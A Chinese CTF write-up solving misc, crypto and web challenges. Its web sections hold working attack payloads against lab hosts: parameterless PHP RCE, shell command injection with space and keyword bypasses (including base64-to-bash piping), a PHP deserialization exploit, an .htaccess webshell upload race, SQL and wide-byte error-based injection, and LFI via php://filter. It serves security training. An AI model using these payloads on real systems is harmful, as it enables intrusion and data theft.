北京工业大学CTF-wp

Misc

佛系青年

题目描述:

解题思路:

附件内的文本文件fo.txt直接打不开,猜测flag就在这个文件里面

fo.txt报错

然后,发现这个zip是伪加密,就修改此处的0900为0000

修改位置

修改并保存,接着打开fo.txt,发现其中的佛曰是与佛论禅的密文

fo.txt中的内容

在线解密这段密文即得flag

得到flag

知识扩充:

  1. 伪加密,参考我的这篇文章https://xingshuaikun.github.io/2019/12/25/zip%E4%BC%AA%E5%8A%A0%E5%AF%86/
  2. 与佛论禅网站http://www.keyfc.net/bbs/tools/tudoucode.aspx

gakki

题目描述:

解题思路:

解压压缩包,得到一个wolaopo.jpg的图片,唉,也不知道出题人有多饥渴

图片中的文件

binwalk查看这个图片中有挺多文件的,于是就用foremost分离

foremost分解图片

然后得到了一个压缩包,而且里面就是flag.txt,并且加密了

得到rar压缩包

最终用ARCHPR爆出来了压缩包的密码是8863

爆出密码8864

解出flag.txt文件,内容为看不懂是什么密码的密码,通过HxD统计出不同字符出现的次数排序依次排列得出flag。

HxD字符分析

也可以通过代码统计出不同字符出现的次数排序,依次排列得出flag。

得到flag

知识扩充:

字符次序统计代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
# -*- coding: UTF-8 -*-
def processLine(line, CharacterCounts):
for character in line:
# if ord(character) in range(97, 123):
if ord(character) in range(32, 126):
CharacterCounts[character] += 1


# 创建字母字典
def createCharacterCounts(CharacterCounts):
# for i in range(97, 123):
for i in range(32, 126):
CharacterCounts[chr(i)] = 0


def main():
# 用户输入一个文件名
# filename = input("enter a filename:").strip()
filename = "D:\\bjutCTF\\MISC\\output\\rar\\flag.txt"
infile = open(filename, "r")

# 建立用于计算词频的空字典
CharacterCounts = {}
# 初始化字典键值
createCharacterCounts(CharacterCounts)
for line in infile:
# processLine(line.lower(), CharacterCounts)
processLine(line, CharacterCounts)

# 从字典中获取数据对
pairs = list(CharacterCounts.items())

# 列表中的数据对交换位置,数据对排序
items = [[x, y] for (y, x) in pairs]
items.sort(reverse=True)

# 输出count个数词频结果
for i in range(len(items)):
# print(items[i][1]+"\t"+str(items[i][0]))
print(items[i][1], end='')

infile.close()


if __name__ == '__main__':
main()

babync

题目描述:

你高数过了嘛,nc 183.129.189.60 10029

解题思路:

尝试几个数字

尝试nc

直接上脚本pwntools,折半查找

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
from pwn import *
p = remote('183.129.189.60','10029')
numi = 340282366879330029263004840
numa = 340289366879330029263994840
numv = (numa + numi) / 2
while 1:
p.sendline(str(numv))
ret = p.recv()
if ret == 'too small':
numi = numv
print 'small'
elif ret == 'too big':
numa = numv
print 'big'
elif ret =='It took too long to break the link!':
print 'slow'
break
else:
print ret
numv = (numa + numi) / 2
print numv

得到flag

SXMgdGhpcyBiYXNlPw==

题目描述:

解题思路:

题目base64解密之后的结果如下所示

题目解密

然后,对它进行base64解密,得到的是莫扎特的一首音乐歌词,有兴趣的朋友可以听听看!

莫扎特歌曲

关于base64隐写的介绍,大家可以看我的另一篇文章

base64隐写

看完上面的文章后,我这里直接从上面文章中拿来脚本如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
def get_base64_diff_value(s1, s2):
base64chars = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/'
res = 0
for i in xrange(len(s2)):
if s1[i] != s2[i]:
return abs(base64chars.index(s1[i]) - base64chars.index(s2[i]))
return res

def solve_stego():
with open('D:/bjutCTF/MISC/flag.txt', 'rb') as f:
file_lines = f.readlines()
bin_str = ''
for line in file_lines:
steg_line = line.replace('\n', '')
norm_line = line.replace('\n', '').decode('base64').encode('base64').replace('\n', '')
diff = get_base64_diff_value(steg_line, norm_line)
print diff
pads_num = steg_line.count('=')
if diff:
bin_str += bin(diff)[2:].zfill(pads_num * 2)
else:
bin_str += '0' * pads_num * 2
print goflag(bin_str)

def goflag(bin_str):
res_str = ''
for i in xrange(0, len(bin_str), 8):
res_str += chr(int(bin_str[i:i + 8], 2))
return res_str

if __name__ == '__main__':
solve_stego()

得到flag

得到flag

知识扩充:

base64隐写

Crypto

CheckIn

题目描述:

解题思路:

题目解压缩后是一个txt文件,里面内容是
dikqTCpfRjA8fUBIMD5GNDkwMjNARkUwI0BFTg==
该字符串转base64得到

base64解密

再转ROT47即可得到flag

rot47解密

知识扩充:

  • rot47加解密

Web

禁止套娃!

题目描述:

解题思路:

打开题目发现如下界面

禁止套娃

这道题改编自2019ByteCTF,所谓无参数RCE,就是只允许执行a(), a(())这样的函数,而不允许带参数,比如echo(“aa”)是禁止的 关于无参数RCE,推荐一篇一叶飘零和pdsdt两个大佬的文章:

https://skysec.top/2019/03/29/PHP-Parametric-Function-RCE/
http://www.pdsdt.lovepdsdt.com/index.php/2019/11/06/php_shell_no_code/

首先可以扫描目录,发现.git/文件夹,直接 githack 走一波搞源码

1
python GitHack.py http://172.21.4.12:10031/.git/

得到如下的源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
<?php
include "flag.php";
echo "flag在哪里呢?<br>";
if(isset($_GET['exp']))
{
if(!preg_match('/data:\/\/|filter:\/\/|php:\/\/|phar:\/\//i', $_GET['exp']))
{
if(';' === preg_replace('/[a-z|\-]+\((?R)?\)/', NULL, $_GET['exp']))
{
if(!preg_match('/et|na|nt|info|dec|bin|hex|oct|pi|log/i', $code))
{
// echo $_GET['exp'];
eval($_GET['exp']);
}
else
{
die("还差一点哦!");
}
}
else
{
die("再好好想想!");
}
}
else
{
die("还想读flag,臭弟弟!");
}
} // highlight_file(__FILE__);
?>

看下正则匹配,(?R)引用当前表达式,后面加了?递归调用。只能匹配通过无参数的函数,然后eval($_GET[‘exp’]);,典型的无参数RCE

由于正则匹配了一些关键字比如et导致很多函数不能用,getshell什么的基本不可能,只能考虑读源码。

如何得到文件名flag.php 要想读出flag.php,就需要有一个函数返回flag.php文件名,scandir()函数可以扫描当前目录下的文件,例如: <?php print_r(scandir(‘.’));

1 chr(46)

如何得到scandir()中的’.’ 1.chr(46) 对于这种方法chr(46),又来了新的问题,46如何得到?下面列出三种方法:

  • chr(rand())
  • chr(time())
  • chr(current(localtime(time())))

推荐大家用第三种,前两种要看人品,有时候好几分钟才能碰巧成功。
localtime(time())的返回是一个数组,Array[0]为一个0~60之间的数字,每秒加1,所以最多一分钟就可以得到46。由于php数组内部指针默认指向第一个元素,所以current()pos()取数组中当前元素的值,就得到了这个数字。

相关操作数组的方法有:

  • end() 将内部指针指向数组中的最后一个元素,并输出
  • next() 将内部指针指向数组中的下一个元素,并输出
  • prev() 将内部指针指向数组中的上一个元素,并输出
  • reset() 将内部指针指向数组中的第一个元素,并输出
  • each() 返回当前元素的键名和键值,并将内部指针向前移动

2 current(localeconv())

localeconv() 函数返回一包含本地数字及货币格式信息的数组,
current(localeconv())永远都是个点

如何得到flag.php
现在,我们尝试用scandir()扫描当前目录

?exp=print_r(scandir(current(localeconv())));

flag.php

可见,flag.php是倒数第二个值,假设是倒数第一个我们可以用end(),但是并没有一个操作数组的函数能够输出数组的倒数第二个值。怎么办?依然有两种方法(我只想到这两种)

3 array_reverse()

看函数名就知道了,以相反的元素顺序返回数组

?exp=print_r(array_reverse(scandir(current(localeconv()))));

以相反顺序返回数组

然后上面介绍操作数组的方法中,next()将内部指针指向数组中的下一个元素并输出,next(array_reverse(scandir(pos(localeconv()))))就得到了flag.php

next()得到flag.php

4 array_rand(array_flip())

array_flip()交换数组的键和值

?exp=print_r(array_flip(scandir(current(localeconv()))));

交换数组键值

array_rand()从数组中随机取出一个或多个单元,不断刷新访问就会不断随机返回,本题目中scandir()返回的数组只有5个元素,刷新几次就能刷出来flag.php

?exp=print_r(array_rand(array_flip(scandir(current(localeconv())))));

不断刷新

如何读flag.php的源码

因为et被ban了,所以不能使用file_get_contents(),但是可以可以使用readfile()highlight_file()

view-source:http://172.21.4.12:10031/?exp=print_r(readfile(next(array_reverse(scandir(pos(localeconv()))))));

得到flag

官方给的exp是

?exp=show_source(next(array_reverse(scandir(pos(localeconv())))));

ping ping ping

题目描述:

解题思路:

两条linux shell命令一起执行,中间的分隔符一般有以下几种

  • ;
  • &&
  • ||
  • %0a
  • %0d
  • | (管道符)

打开题目测试发现,ping x.x.x.x -c 4

127.0.0.1

fuzz后发现,只有分号;没有被ban,导致可以两条命令同时执行

127.0.0.1;env

127.0.0.1;env

绕过空格过滤 继续fuzz,发现空格被ban了

空格被过滤

对于空格,可以使用但不限于以下几种替代方案:

  • $IFS
  • ${IFS}
  • $IFS$9
  • <
  • <>
  • {cat,flag.php} //用逗号实现了空格功能,需要用{}括起来
  • %20
  • %09

发现{ } < > %09都被过滤了,但是可以使用$IFS$IFS$9来绕过空格过滤
绕过关键字黑名单,bypass空格过滤,查看index.php的源代码

?ip=127.0.0.1;cat$IFS$9index.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
<?php
if(isset($_GET['ip']))
{
$ip = $_GET['ip'];
if(preg_match("/\&|\/|\?|\*|\<|[\x{00}-\x{1f}]|\>|\'|\"|\\|\(|\)|\[|\]|\{|\}/", $ip, $match))
{
echo preg_match("/\&|\/|\?|\*|\<|[\x{00}-\x{20}]|\>|\'|\"|\\|\(|\)|\[|\]|\{|\}/", $ip, $match);
die("fxck your symbol!");
}
else if(preg_match("/ /", $ip))
{
die("fxck your space!");
}
else if(preg_match("/bash/", $ip))
{
die("fxck your bash!");
}
else if(preg_match("/.*f.*l.*a.*g.*/", $ip))
{
die("fxck your flag!");
}
$a = shell_exec("ping -c 4 ".$ip);
echo "<pre>";
print_r($a);
}
?>

可见flag被过滤了,同样的方法cat$IFS$9flag.php就会die(“fxck your flag”);

绕过关键字,可以使用但不限于以下几种方法:

  • ca\t y1n\g.php 反斜线绕过
  • cat y1”ng.php 两个单引号绕过
  • echo “Y2F0IHkxbmcucGhw” | base64 -d | bash base64编码绕过
  • echo “6361742079316E672E706870” | xxd -r -p | bash hex编码绕过
  • cat y1[n]g.php 用[]匹配
  • cat y1n* 用*匹配任意
  • 内联执行

根据index.php的源码中的正则匹配,本题目可以使用变量拼接绕过得到flag

?ip=127.0.0.1;a=g;cat$IFS$9fla$a.php

变量拼接绕过

当然也可以像V&N的师傅们一样使用内联执行,一种非常巧妙的姿势

所谓内联执行,就是将反引号 ls 内命令的输出(ls的结果)作为另一个命令的输入

exp如下:

?ip=127.0.0.1;a=g;cat$IFS$9lsls

的执行结果(index.php和flag.php)作为cat的输入,直接得到index.php和flag.php的源码

内联执行绕过

bypass技巧参考文章

Do you know robots

题目描述:

解题思路:

打开是一个无情的报菜名机器,题目提示 robots 协议,可以看到一个vim备份文件index.php~ ,下载源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
<?php
class FileReader
{
public $Filename;
public $start;
public $max_length;
function __construct()
{
$this->Filename = __DIR__ . "/bcm.txt";
$this->start = 12;
$this->max_length = 72;
}
function __wakeup()
{
$this->Filename = __DIR__ . "/fake_f1ag.php";
$this->start = 10;
$this->max_length = 0;
}
function __destruct()
{
$data = file_get_contents($this->Filename, 0, NULL, $this->start, $this- >max_length);
if(preg_match("/\{|\}/", $data))
{
die("you can't read flag!");
}
else
{
echo $data;
}
}
}
if(isset($_GET['exp']))
{
if(preg_match("/.?f.?l.?a.?g.?/i", $_GET['exp']))
{
die("hack!");
}
$exp = $_REQUEST['exp'];
$e = unserialize($exp);
echo $e->Filename;
}
else
{
$exp = new FileReader();
}
?>

反序列化利用位点:

1
2
3
4
5
6
7
8
9
10
if(isset($_GET['exp']))
{
if(preg_match("/.?f.?l.?a.?g.?/i", $_GET['exp']))
{
die("hack!");
}
$exp = $_REQUEST['exp'];
$e = unserialize($exp);
echo $e->Filename;
}

只要通过GET方式传入一个不含flag的exp,然后通过将$_REQUEST[‘exp’]反序列化。

审源码可以得知这是个标准的反序列化题目,变量名都是public类型(注意如果是private类型需
要增加\0
),主要功能是将文件上传和报菜名2333

网页使用$_GET方法传参,但是会正则匹配.?f.?l.?a.?g.? ,导致不可以读flag,但是仔细审计就会发现问题,真正的$exp是接受的$_REQUEST[‘exp’]的,针对这种使用$_REQUEST[]接收参数的代码,如果同时使用getpost两种方式传相同类型的参数,那么post的参数会覆盖掉get的参数,最终$_REQUEST[]接受的参数是post过来的

上面可能有些拗口,实际举个例子就是posturl传?a=1,同时用post发送a=2,在服务器使用$_REQUEST[‘a’]接受参数,最后$_REQUEST[‘a’]的值是2,大家可以自己动手做做实验。
此外,__wakeup()会在反序列化的时候自动调用,会复写掉文件,这时候就要请出 CVE-2016- 7124,只要让成员属性数目大于实际数目时就可以绕过wakeup()方法因此我们可以构造payload

O:10:”FileReader”:4:{s:8:”Filename”;s:57:”php://filter/read=convert.base64-encode/resource=flag.php”;s:5:”start”;i:0;s:10:”max_length”;i:10000;}

将这个序列化字符串通过post形式传给exp,GET方式就随便给个1,将得到的base64解密即可得到flag

使用伪协议

利用伪协议得到flag

不用伪协议,也完全OK

通过修改startmax_length,读取{}里面的部分,然后再放到GXY{}里面,这应该是出题人的本意。

exp: exp=O:10:”FileReader”:4:{s:8:”Filename”;s:22:”/var/www/html/flag.php”;s:5:”start”;i:21;s:10:”max_length”;i:17;}

不使用伪协议

不用伪协议得到flag

babyupload

题目描述:

解题思路:

就是每3s就会删除你上传的东西

每三秒删除上传的内容

打开题目,先fuzz,传jpg格式的一句话

上传1.jpg

盲猜可能是检测了文件开头的<?形式,更换成下图的script绕过形式,

使用script绕过

发现上传成功

script绕过

接下来就是绕过后缀名,题目肯定不能直接传php,尝试用phtml之类的后缀过滤,但发现带ph的都被ban了。

尝试1.phtml

这样情况下,就没有任何其他后缀名能够被php解析了。 但是继续测试发现,上传不会修改文件名,并且只要不带ph的任何其他后缀都可以上传成功,比如传个1.aaaaa

上传1.aaa

这就很明显了,既然是个上传题目,方法就那么几种,这个题目也没什么别的东西了所以新姿势大概率也不可能。所以,想办法让服务器用php来解析其他后缀名
通过404页面得知网站是Apache

判断服务器类型

所以创建.htaccess文件,添加如下代码:

1
AddType application/x-httpd-php .jpg

使Apache用php来解析.jpg文件,上传

上传.htaccess

传好之后去打开刚刚上传的.jpg的一句话木马,发现404,然后去访问.htaccess发现也404了。
重新上传,访问,不断刷新,发现文件在两三秒后被删除了。
测试发现只要SESSION不变,上传之后的路径就是一样的,于是可以推测是条件竞争:只要我们不断在它被删除之前重新上传它,它就会一直存在。
将上传的post包Send to Intruder不断重放,然后连接就可以了。

Intruder重放包

再使用中国蚁剑连接获得网站管理权

中国蚁剑

在根目录找到flag

找到flag

知识扩充:

  • 添加gif89a的头
  • script绕过php检测
  • php2,php3、php4、php5、phtml、phtm代替php后缀
  • 传.htaccess
  • 截断上传

BabySqli v1.0

题目描述:

刚学完sqli,我才知道万能口令这么危险,还好我进行了防护,还用md5哈希了密码!

解题思路:

题目告诉我们是用md5哈希了密码,fuzz时候随便输入个账号密码登录,提示wrong pass,看源代码

fuzz测试

MMZFM422K5HDASKDN5TVU3SKOZRFGQRRMMZFM6KJJBSG6WSYJJWESSCWPJNFQSTVLFLTC3CJIQYGOSTZKJ2VSVZRNRFHOPJ5

base32解码得到c2VsZWN0ICogZnJvbSB1c2VyIHdoZXJlIHVzZXJuYW1lID0gJyRuYW1lJw==

base64解密得到select * from user where username = ‘$name’

于是发现name参数可以注入

因为题目没放源码,就自己盲猜一下源码大致是这样的

1
2
3
4
5
6
7
8
9
10
11
12
13
<?
$name = $_POST['name'];
$passwd = md5($_POST['pw']);
$sql = "select * from user where username = '$name'";
$query = mysql_query($sql);
if(!strcasecmp($passwd, $query[passwd]))
{
echo $flag;
}
else
{
echo("Wrong Pass");
}

将查询出来的passwd和输入的密码的md5值比较,相等则登录不相等则wrong pass.

我们需要在user表里查询我们输入的字段名并进行判断,而我们什么都不知道,这时候就需要骚操作了
在sql数据库里,当联合查询一个不存在的数据时会虚拟一个根据使用表排序的数据,根据这个特性来进行绕过

而由于name参数可注,我们可以构造sql语句使其查询为假,然后联合查询出一个比如e10adc3949ba59abbe56e057f20f883e(123456的md5),然后密码输入123456,就会查询成功。

问题在于,既然 123456 的md5肯定不在数据库里,怎么select出来?这很简单

联合查询

其实只要保证联合查询的结构一样,就可以直接select后面输入你想要的查询的返回值,如上图所示。

如果用户不是admin 会提示wrong user,本题先判断user是admin然后再判断密码

用户名须为admin

过滤了and可以大小写绕过,过滤了等号可以换成不等号 注出密码
cdc9c819c7f8be2628d4180669009d28
发现解不开,分析后发现,是考md5绕过。

由于题目的查询语句是:
select * from user where username = ‘$name’
联合查询需要表结构完全一样,所以前面注出3个column也还是有用的。当然也有其他方法,比如如果不是3个column会提示
Error: The used SELECT statements have a different number of columns

注入应该为3个Column

测试后发现,select ‘A’,’B’,’C’ 其中A是id, B是用户名必须为admin, C是密码的md5,于是,先构造查询为假(And 1>2绕过and和=过滤),然后联合查询返回自定的md5,在输入对应的密码,最终exp:

1
name=admin' And 1>2 union select '1','admin','e10adc3949ba59abbe56e057f20f883e&pw=123456

得到flag

BabySqli v2.0

题目描述:

解题思路:

打开题目,可以看到 “我对网站进行了加固,还支持了中文账号,这下你们没辙了吧?” 进入,发现只要是输入admin,无论任何密码都登录成功,还是get方式,然而并没什么用

发现

(刚开始做的时候 图片右下角有个放大镜,我天真的以为是图片misc和web结合了,分析了半天图片23333) fuzz无果,手工fuzz,输入admin%df’后出现了报错,明显的宽字节注入

宽字节注入

知道了这一点,就很多方法了,我用了updatexml()报错注入和floor()报错注入两种方法,还有别的大佬用布尔盲注等等
另外:fuzz发现union select where之类的这些关键字会被过滤删除,不过这都是老套路,双写绕过即可,比如select可以使用seSELECTlect绕过

解法1:floor()报错注入

推荐一篇文章:https://blog.csdn.net/qq_39101049/article/details/88839514

就直接照着文章往里面套就行了。直接给最终的出flag的exp吧:

1
/search.php?name=%df'and(seselectlect 1 from(sselectelect count(*),concat((sselectelect (SESELECTLECT  concat(327a6c4304ad5938eaf0efb6cc3e53dc) FROM f14g limit 22,1) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)--+&pw=y1ng

然后把注出来的base64解码即可。

解法2:updatexml报错注入

我最开始是用的updatexml报错,但是这个方法有几个坑。后来发现其他的方法似乎都比这个简单,醉了~ 简单介绍一下updatexml()报错注入的原理

updatexml (XML_document, XPath_string, new_value);

updatexml()函数第第二个参数为XPath_string,但是我们将concat()作为第二个参数传给updatexml()函数,concat()返回类型为字符串所以不满足XPath_string格式出现XPath syntax error,进而爆出数据库信息。

<1>查数据库名

http://172.21.4.12:10012/search.php?name=admin%df%27 and updatexml(1,concat(1,database()),1) –+&pw=y1ng

得到

Error: XPATH syntax error: ‘web_sqli’

其实一般的exp都是concat()拼接上一个字符’‘,编码为0x7e,本题fuzz发现hex被过滤了,所以concat()里直接拼个1算了,本题中并不影响。加’‘是因为updatexml()会报错字母和特殊字符之后的内容,所以手工补上一个特殊字符’~

hex编码

<2>查表名

http://172.21.4.12:10012/search.php?name=admin%df%27 and updatexml(1,concat(1, (seSELECTlect group_concat(table_name) from information_schema.tables whWHEREere table_schema=database() limit 0,1)),1) –+&pw=y1ng

得到

Error: XPATH syntax error: ‘f14g,user’

可以判定出来flag在f14g表里,而现在登录使用的是user表

<3>查列名

http://172.21.4.12:10012/search.php?name=admin%df%27 and updatexml(1,concat(1, (seSELECTlect group_concat(column_name) from information_schema.columns wherWHEREe TABLE_SCHEMA=database() and TABLE_NAME=f14g)),1) –+&pw=y1ng

得到

Error: Unknown column ‘f14g’ in ‘where clause’

不加引号的f14g无法查询成功,可以使用char编码绕过(我太菜了)

http://172.21.4.12:10012/search.php?name=admin%df%27%20and%20updatexml(1,concat(1,%20(seSELECTlect%20group_concat(column_name)%20from%20information_schema.columns%20wherWHEREe%20TABLE_NAME=char(102,49,52,103))),1)%20--+&pw=y1ng

返回

Error: XPATH syntax error: ‘b80bb7740288fda1f201890375a60c8f’

其实我当时发现不加引号的f14g无法查询,放宽了查询条件,直接where table_schema=database()查所有字段,输出的结果和上面一样。
后面的事情就有点搞笑
现在已经查到f14g这个表里有一个名为b80bb7740288fda1f201890375a60c8f的列,md5解密后为id,然后发现这个里面的字段真就是id号一堆数字。
我当时没想到怎么查另一个列(后来群里有师傅看不下去我这个菜鸡然后告诉了我),就盲猜有一个专门存flag的列,他也是md5加密的,‘flag’的md5为327a6c4304ad5938eaf0efb6cc3e53dc,然后发现还真是,盲猜列名猜对了2333333
无敌脑洞,盲猜列名,哈哈哈哈哈哈哈

<4>查字段

http://172.21.4.12:10012/search.php?name=admin%df%27 and updatexml(1,concat(1, (seleSELECTct concat(327a6c4304ad5938eaf0efb6cc3e53dc) from f14g limit 0,1),1),1) –+ &pw=y1ng

得到base64

Error: XPATH syntax error: ‘VGhlIGZpcnN0IG1hbiBuYW1lIHdhcyBr’

解密之

The first man name was k

然后通过修改limit继续查,发现每条都是个base64,解密出来是抖肩舞的歌词!!! 就在注入半天+盲猜半天+又注入了半天结果发现是没用的歌词然后心态爆炸的时候,在歌词的后面查到了flag….

http://172.21.4.12:10012/search.php?name=admin%df%27 and updatexml(1,concat(1, (seleSELECTct concat(327a6c4304ad5938eaf0efb6cc3e53dc) from f14g limit 22,1),1),1) –+ &pw=y1ng

得到:

Error: XPATH syntax error: ‘R1hZe2cwT2Rfam9iMWltX3NvX3ZlZ2V0’

解密得到:GXY{g0Od_job1im_so_veget
不全,盲猜GXY{g0Od_job1im_so_vegetable},上面盲猜列,现在又盲猜flag,都猜对了23333无敌脑洞

<5>为什么查到的东西不全?

这是因为updatexml()限制长度为32位,超过32位的被丢弃了,所以上面无论是歌词还是flag,base64都经常缺个尾巴。 不过这也不是问题!substr()可以指定从字符串的某个位置开始,返回自定义长度:

http://172.21.4.12:10012/search.php?name=admin%df%27 and updatexml(1,concat(1, substr((seleSELECTct concat(327a6c4304ad5938eaf0efb6cc3e53dc) from f14g limit 22,1),10,32)),1) –+ &pw=y1ng

得到

Error: XPATH syntax error: ‘Rfam9iMWltX3NvX3ZlZ2V0YWJsZX0=’

把上面缺尾巴的和现在的base64拼接起来:

R1hZe2cwT2Rfam9iMWltX3NvX3ZlZ2V0 加 Rfam9iMWltX3NvX3ZlZ2V0YWJsZX0=

去重后得到

R1hZe2cwT2Rfam9iMWltX3NvX3ZlZ2V0YWJsZX0=

解密:GXY{g0Od_job1im_so_vegetable}

<6>怎么通过updatexml查f14g表里的另一个字段

不管是group_concat()也好还是concat_ws()也好还是concat(),都把结果连成了一个字符串输出。碰巧updatexml()限制长度为32位、而一个md5列名刚好也32位,就制造出了只能查出id的md5的那个列的假象。 得到flag时候都能想到用substr()取后面,现在怎么没想到呢hhh(我太菜了) 挺好的一个题,还特意过滤hex,imagin师傅(出题人)真细!

知识扩充:

  • 宽字节注入
  • 过滤0x
  • union select where置空

BabySqli v3.0

题目描述:

解题思路:

这个题目因为出题人多打了个空格,出现了一个非常easy的非预期,我是用非预期做的,非常非常非常的搞笑。 这题目本意是考phar反序列化,关于phar反序列化可以参考以下文章:

这个题目挺坑的,根本没有数据库然后题目叫Babysqliv3.0,搞选手心态。 下面先介绍正常解法再介绍非预期。

登录

这个题目登录窗口简直和前两个sqli一毛一样,但是fuzz后无果,考虑爆破。 前两个题的username都是admin所以这次也先爆破密码

添加爆破选项

设置好payload后开始爆破,两秒后爆破出密码为password

爆出密码

LFI读源码

登录成功后,自动跳转至

http://172.21.4.12:10041/home.php?file=upload

发现是个上传页面,上面明确写着,当前引用的是 upload.php
而url又有file=upload,于是访问upload.php,发现这两个页面一样,说明是文件包含

文件包含

简单扫一下目录发现存在flag.php,尝试包含发现flag被ban了

flag被ban

而包含其他文件,则会在后面拼接上.fxxkyou!,经测试%00截断等方法对此都无效

被fuck了

经过不断fuzz后发现: 若包含的文件以homeupload结尾,则在后面拼接上.php后包含;其他都被拼接上.fxxkyou! 但是伪协议没有被ban,因此我们可以使用伪协议读源码:

http://172.21.4.12:10041/home.php?file=php://filter/read=convert.base64-encode/resource=upload

得到当前引用的是 php://filter/read=convert.base64-encode/resource=upload.php

1
PG1ldGEgaHR0cC1lcXVpdj0iQ29udGVudC1UeXBlIiBjb250ZW50PSJ0ZXh0L2h0bWw7IGNoYXJzZXQ9dXRmLTgiIC8+IA0KDQo8Zm9ybSBhY3Rpb249IiIgbWV0aG9kPSJwb3N0IiBlbmN0eXBlPSJtdWx0aXBhcnQvZm9ybS1kYXRhIj4NCgnkuIrkvKDmlofku7YNCgk8aW5wdXQgdHlwZT0iZmlsZSIgbmFtZT0iZmlsZSIgLz4NCgk8aW5wdXQgdHlwZT0ic3VibWl0IiBuYW1lPSJzdWJtaXQiIHZhbHVlPSLkuIrkvKAiIC8+DQo8L2Zvcm0+DQoNCjw/cGhwDQplcnJvcl9yZXBvcnRpbmcoMCk7DQpjbGFzcyBVcGxvYWRlcnsNCglwdWJsaWMgJEZpbGVuYW1lOw0KCXB1YmxpYyAkY21kOw0KCXB1YmxpYyAkdG9rZW47DQoJDQoNCglmdW5jdGlvbiBfX2NvbnN0cnVjdCgpew0KCQkkc2FuZGJveCA9IGdldGN3ZCgpLiIvdXBsb2Fkcy8iLm1kNSgkX1NFU1NJT05bJ3VzZXInXSkuIi8iOw0KCQkkZXh0ID0gIi50eHQiOw0KCQlAbWtkaXIoJHNhbmRib3gsIDA3NzcsIHRydWUpOw0KCQlpZihpc3NldCgkX0dFVFsnbmFtZSddKSBhbmQgIXByZWdfbWF0Y2goIi9kYXRhOlwvXC8gfCBmaWx0ZXI6XC9cLyB8IHBocDpcL1wvIHwgXC4vaSIsICRfR0VUWyduYW1lJ10pKXsNCgkJCSR0aGlzLT5GaWxlbmFtZSA9ICRfR0VUWyduYW1lJ107DQoJCX0NCgkJZWxzZXsNCgkJCSR0aGlzLT5GaWxlbmFtZSA9ICRzYW5kYm94LiRfU0VTU0lPTlsndXNlciddLiRleHQ7DQoJCX0NCg0KCQkkdGhpcy0+Y21kID0gImVjaG8gJzxicj48YnI+TWFzdGVyLCBJIHdhbnQgdG8gc3R1ZHkgcml6aGFuITxicj48YnI+JzsiOw0KCQkkdGhpcy0+dG9rZW4gPSAkX1NFU1NJT05bJ3VzZXInXTsNCgl9DQoNCglmdW5jdGlvbiB1cGxvYWQoJGZpbGUpew0KCQlnbG9iYWwgJHNhbmRib3g7DQoJCWdsb2JhbCAkZXh0Ow0KDQoJCWlmKHByZWdfbWF0Y2goIlteYS16MC05XSIsICR0aGlzLT5GaWxlbmFtZSkpew0KCQkJJHRoaXMtPmNtZCA9ICJkaWUoJ2lsbGVnYWwgZmlsZW5hbWUhJyk7IjsNCgkJfQ0KCQllbHNlew0KCQkJaWYoJGZpbGVbJ3NpemUnXSA+IDEwMjQpew0KCQkJCSR0aGlzLT5jbWQgPSAiZGllKCd5b3UgYXJlIHRvbyBiaWcgKOKAsuKWvWDjgIMpJyk7IjsNCgkJCX0NCgkJCWVsc2V7DQoJCQkJJHRoaXMtPmNtZCA9ICJtb3ZlX3VwbG9hZGVkX2ZpbGUoJyIuJGZpbGVbJ3RtcF9uYW1lJ10uIicsICciIC4gJHRoaXMtPkZpbGVuYW1lIC4gIicpOyI7DQoJCQl9DQoJCX0NCgl9DQoNCglmdW5jdGlvbiBfX3RvU3RyaW5nKCl7DQoJCWdsb2JhbCAkc2FuZGJveDsNCgkJZ2xvYmFsICRleHQ7DQoJCS8vIHJldHVybiAkc2FuZGJveC4kdGhpcy0+RmlsZW5hbWUuJGV4dDsNCgkJcmV0dXJuICR0aGlzLT5GaWxlbmFtZTsNCgl9DQoNCglmdW5jdGlvbiBfX2Rlc3RydWN0KCl7DQoJCWlmKCR0aGlzLT50b2tlbiAhPSAkX1NFU1NJT05bJ3VzZXInXSl7DQoJCQkkdGhpcy0+Y21kID0gImRpZSgnY2hlY2sgdG9rZW4gZmFsaWVkIScpOyI7DQoJCX0NCgkJZXZhbCgkdGhpcy0+Y21kKTsNCgl9DQp9DQoNCmlmKGlzc2V0KCRfRklMRVNbJ2ZpbGUnXSkpIHsNCgkkdXBsb2FkZXIgPSBuZXcgVXBsb2FkZXIoKTsNCgkkdXBsb2FkZXItPnVwbG9hZCgkX0ZJTEVTWyJmaWxlIl0pOw0KCWlmKEBmaWxlX2dldF9jb250ZW50cygkdXBsb2FkZXIpKXsNCgkJZWNobyAi5LiL6Z2i5piv5L2g5LiK5Lyg55qE5paH5Lu277yaPGJyPiIuJHVwbG9hZGVyLiI8YnI+IjsNCgkJZWNobyBmaWxlX2dldF9jb250ZW50cygkdXBsb2FkZXIpOw0KCX0NCn0NCg0KPz4NCg==

base64解码后得到upload.php的源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" /> 

<form action="" method="post" enctype="multipart/form-data">
上传文件
<input type="file" name="file" />
<input type="submit" name="submit" value="上传" />
</form>

<?php
error_reporting(0);
class Uploader{
public $Filename;
public $cmd;
public $token;


function __construct(){
$sandbox = getcwd()."/uploads/".md5($_SESSION['user'])."/";
$ext = ".txt";
@mkdir($sandbox, 0777, true);
